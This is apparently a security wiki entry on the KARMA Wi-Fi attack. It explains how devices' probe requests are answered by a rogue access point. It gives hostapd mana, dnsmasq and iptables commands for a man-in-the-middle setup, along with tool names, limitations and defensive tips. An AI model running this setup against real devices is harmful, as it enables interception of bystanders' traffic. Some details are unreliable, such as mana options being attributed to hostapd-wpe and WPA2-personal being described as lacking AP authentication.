KARMA Attack

KARMA (Karma Attacks Radio Machines Automatically) is a wireless attack that exploits the way devices probe for remembered networks. Every device with WiFi continuously broadcasts "Probe Request" frames asking "is [NetworkName] around?" for every network it has ever connected to. KARMA attacks respond to ALL of these probes, pretending to be any network the device is looking for.

How It Works

1. Device X walks into range with WiFi on
2. Device X's radio broadcasts: "Hey, is 'HomeNetwork' here? Is 'StarBucksWifi' here? Is 'AT&T Hotspot' here?"
3. KARMA AP answers YES to all of them
4. Device X auto-connects thinking it found a trusted network
5. All device X's traffic goes through the attacker's AP

Why It Works

• Most devices auto-connect to remembered networks
• WPA2 personal networks rely on the SSID as the identifier (no AP authentication)
• Users don't notice they're on a different network
• Mobile devices are especially vulnerable (always probing)

Prerequisites

• Wireless adapter that supports AP mode (hostapd)
• Monitor mode capable adapter to capture probes
• DHCP server to hand out IPs (dnsmasq)
• Internet connection or captive portal to forward to

Basic KARMA Setup with hostapd-wpe

# Install dependencies
apt install hostapd-wpe dnsmasq

# Basic hostapd config with KARMA
cat > /tmp/karma.conf << EOF
interface=wlan0
driver=nl80211
ssid=FreeWifi
channel=6
hw_mode=g
enable_mana=1
mana_loud=1
EOF

hostapd /tmp/karma.conf

dnsmasq Config (DHCP for clients)

cat > /tmp/dnsmasq.conf << EOF
interface=wlan0
dhcp-range=192.168.87.100,192.168.87.150,12h
dhcp-option=3,192.168.87.1
dhcp-option=6,192.168.87.1
server=8.8.8.8
log-queries
EOF

dnsmasq -C /tmp/dnsmasq.conf

Enable IP Forwarding (for MitM)

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT

Tools That Implement KARMA

• mana-evil-twin-toolkit — MANA toolkit (hostapd-wpe + extras)
• wifi-pineapple-guide — Hardware device with KARMA built in
• Airbase-ng — Basic version (part of aircrack-ng suite)
• Hostapd-wpe — WPA Enterprise credential capture variant

Modern Limitations

Newer versions of iOS, Android, and Windows randomize MAC addresses during probe requests and have reduced "promiscuous probing." Some OSes now use "directed probes" only to specific SSIDs rather than broadcast probing. KARMA is less effective than it used to be but still works against older devices and many IoT devices.

Defensive Measures

• Forget networks you don't use anymore
• Turn WiFi off when not in use
• Use a VPN on public networks
• Keep OS updated (probe randomization improvements)
• Use 802.11w (PMF) where possible

Sub-topics

• mana-evil-twin-toolkit - MANA toolkit implementation
• honeypot - Honeypot AP concepts
• wifi-pineapple-guide - WiFi Pineapple hardware